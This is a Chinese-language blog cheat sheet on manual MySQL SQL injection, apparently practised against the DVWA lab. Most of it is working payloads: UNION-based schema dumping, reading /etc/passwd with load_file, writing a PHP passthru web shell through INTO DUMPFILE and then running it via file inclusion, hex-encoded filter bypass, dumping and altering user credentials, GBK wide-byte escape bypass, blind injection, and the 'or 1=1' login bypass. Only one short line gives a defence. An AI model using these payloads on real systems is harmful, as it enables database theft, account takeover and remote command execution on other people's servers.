sql手工注入总结

作者: 木秋 时间: 2016-11-06 点击量: 508

--设计功能是非常辛苦的一件事,但是鸡蛋里挑漏洞是相对容易的--


一 注入产生的原因

没有过滤用户提交的参数,直接带入sql查询语句

$id=$_GET['id'];

$sql="select * from user where id=$id";    //用户直接对id 提交  or 1=1 就可以查询出所有的数据

验证方式  ‘单引号  or 1=1 and 1=2 等。。。


二 手工注入步骤

1 找注入点

通过加 ‘单引号  or 1=1 and 1=2 等。。。判断书否存在注入


2 查看当前select语句查了多少个字段

order by 数字 --+或者空格        // --+ 用于注释 +表示空格


3 联合查询看字段显示在页面哪个位置

union select 1,2 --+


4 根据字段位置,替换查询有效信息

union select user(),2 --+     //可用函数version(),datebase(),@@datadir,@@hostname,@@version_compile_os

5 利用mysql数据结构中的(元数据) information_schema表查整个数据库信息

information_schema数据库中有整个mysql所有数据库的信息

union select table_name,table_schema from information_schema --+   //table_name为表名 table_schema为数据库名  这个语句可以查所有数据库的所有表

union select count(*),table_schema from information_schema --+   //查每个库有多少个表


union select table_name from information_schema where table_schema='dvwa'--+   //查dvwa的表


6 拿到数据库,表名后就可以开始具体查询了.搞定.


三 sql漏洞利用

1 通过load_flie函数读取本地文件

union select null,load_file('/etc/passwd') --+


2 通过INTO DUMPFILE 函数写入文件(得结合其他漏洞利用,如文件包含漏洞)

union select null,"<?php passthru($_GET['cmd'];?)>"INTO DUMPFILE '/var/www/a.php' --+   //写入文件到指定位置,如果只给文件名参数,就会写入到默认位置  (/var/lib/mysql/dvwa/a.php),默认该位置属于mysql用户,所以www-data用户无法访问


union select null,"<?php passthru($_GET['cmd'];?)>"INTO DUMPFILE '/tmp/a.php' --+  tmp目录是所有用户都可访问读写

再用文件包含漏洞包含写入的木马,即可利用成功!

?page=/tmp/a.php&cmd=ls


3 上传编码绕过

上面的直接明文方式写入文件可能被过滤 于是采用16进制编码后传入


cat a.php | xxd -ps | tr -d '\n'          //把a.php的内容通过xxd(16进制编码后),并且把空格字符(/n)删掉(-d)后显示,

将编码后的文本以格式:(0X内容)  替换上面的内容就可以完成写入 , 然后,INTO DUMPFILE会自动把16进制转换成文本内容的.


4 下载数据库

union select null,concat(user,password) from users INTO OUTFILE '/tmp/a.db' --+

查询出user和password并下载到服务器的/tmp/a.db里 ,结合其他漏洞就可以实现文件的下载




三 绕过

有些对查询语句进行了特殊字符过滤,导致查询语句执行错误,所以要绕过过滤执行查询

mysql_real_escape_string();  函数会转义sql语句中的特殊语句(',",\n,\,\X00,\x1a),如单引号等...

php 7.0以上该函数被mysqli取代了

1 大小写混用,用+,/**/,||,|等代替空格,


2 无权读取information_schema库 / 拒绝访问union order by语句的绕过

暴力猜解 表名和字段名

' and table.user is null--+       //猜表名

' and user is null--+       //猜字段名

' or username='admin'--+       //猜字段内容


3 当 数据库可写时,但是密码md5解密不出来时,可以写入用户名和密码

';update users set user='muqiu' where user='admin'--+         //修改用户名(密码)

';insert into users ('user_id','first_name','last_name','password') values ('1','aaa','bbb','md5加密后的密码');--+                              //添加用户


    

    4 宽字符注入*(汉字编码占两个字节)  繁体

1) 由于很多网站开启了magic_quotes_gpc 设置或者对参数使用了 addslashes(),mysql_escape_string(),mysql_real_escape_string()等字符过滤函数   这些都会把参数的特殊字符 如 '  \  " 进行转义,前面加上/  导致正常注入不会成功!


2)注入的前提条件是 mysql用的是GBK(宽字符)的编码


3)注入原理: select * from user where id='1''  ------>被转义成:select * from user where id='1/''  导致无法进行注入

  select * from user where id='1%df''----->被转义成:select * from user where id='1�\''    (utf-8编码 单字符)


  但是 如果select * from user where id='1�\''用GBK等宽字节编码方式来看 ,就会被解析成select * from user where id='1運''   因为宽字节会把原来的�\两个字节转换成一个汉字 从而干掉了 \  达到了目的


  换言之 %df/'=%df%5c%27 (utf-8编码) ==運' (GBK的解码)  原来的3个字节(对应3个字符)  变成了现在的3个字节(对应两个字符 繁体占两个字节 )


  因为 / 的uft编码(16进制)是 %5c  加上%df  就构成%df%5c   而%df%5c的 GBK编码对应繁体字 運


4)防护方法:连接数据库后先执行以下代码: SET character_set_client=binary  设定客服端的字符集是二进制的 

  php代码:  mysql_query("SET character_set_client=binary");



5)php那些地方没有受到魔术引号的保护

$_SERVER变量没有被保护     会产生 X-Forwarded-For 的漏洞

$HTTP_RAW_POST_DATA 和php输入输出流

四 盲注

输入错误的sql语句如(' or 1=1)时不返回错误信息.


可以用基于逻辑真假的判断来判断语句是否执行

1' and 1=1--+            //如果返回正常 

1' and 1=2--+                   //并且这个返回不正常

就说明有注入漏洞

1' order by 1--+           //进行下一步操作,前面一定要加1'


五 or 万能密码

(1)原始sql语句为:$sql= "select * from user where username='".$username."' and password='".$pwd."'";

    (2)如果知道用户名为admin 则可以构造下面语句

admin' or '1'='1

构造后的语句:select * from user where username='admin' or '1'='1' and password='任意'   //注意 and优先级比or高!! 不知道为什么用空用户名不行 

(3)注释法: mysql 中 /**/表示注释一段    #表示注释一行 -- 表示注释一行(注意--后有一个空格' or 1=1 # 密码随便   或者' or 1=1 -- 

构造后的语句:select * from user where username=" or 1=1 #' and password='任意'  //#后面的全部注释掉了

   select * from user where username=" or 1=1 -- ' and password='任意'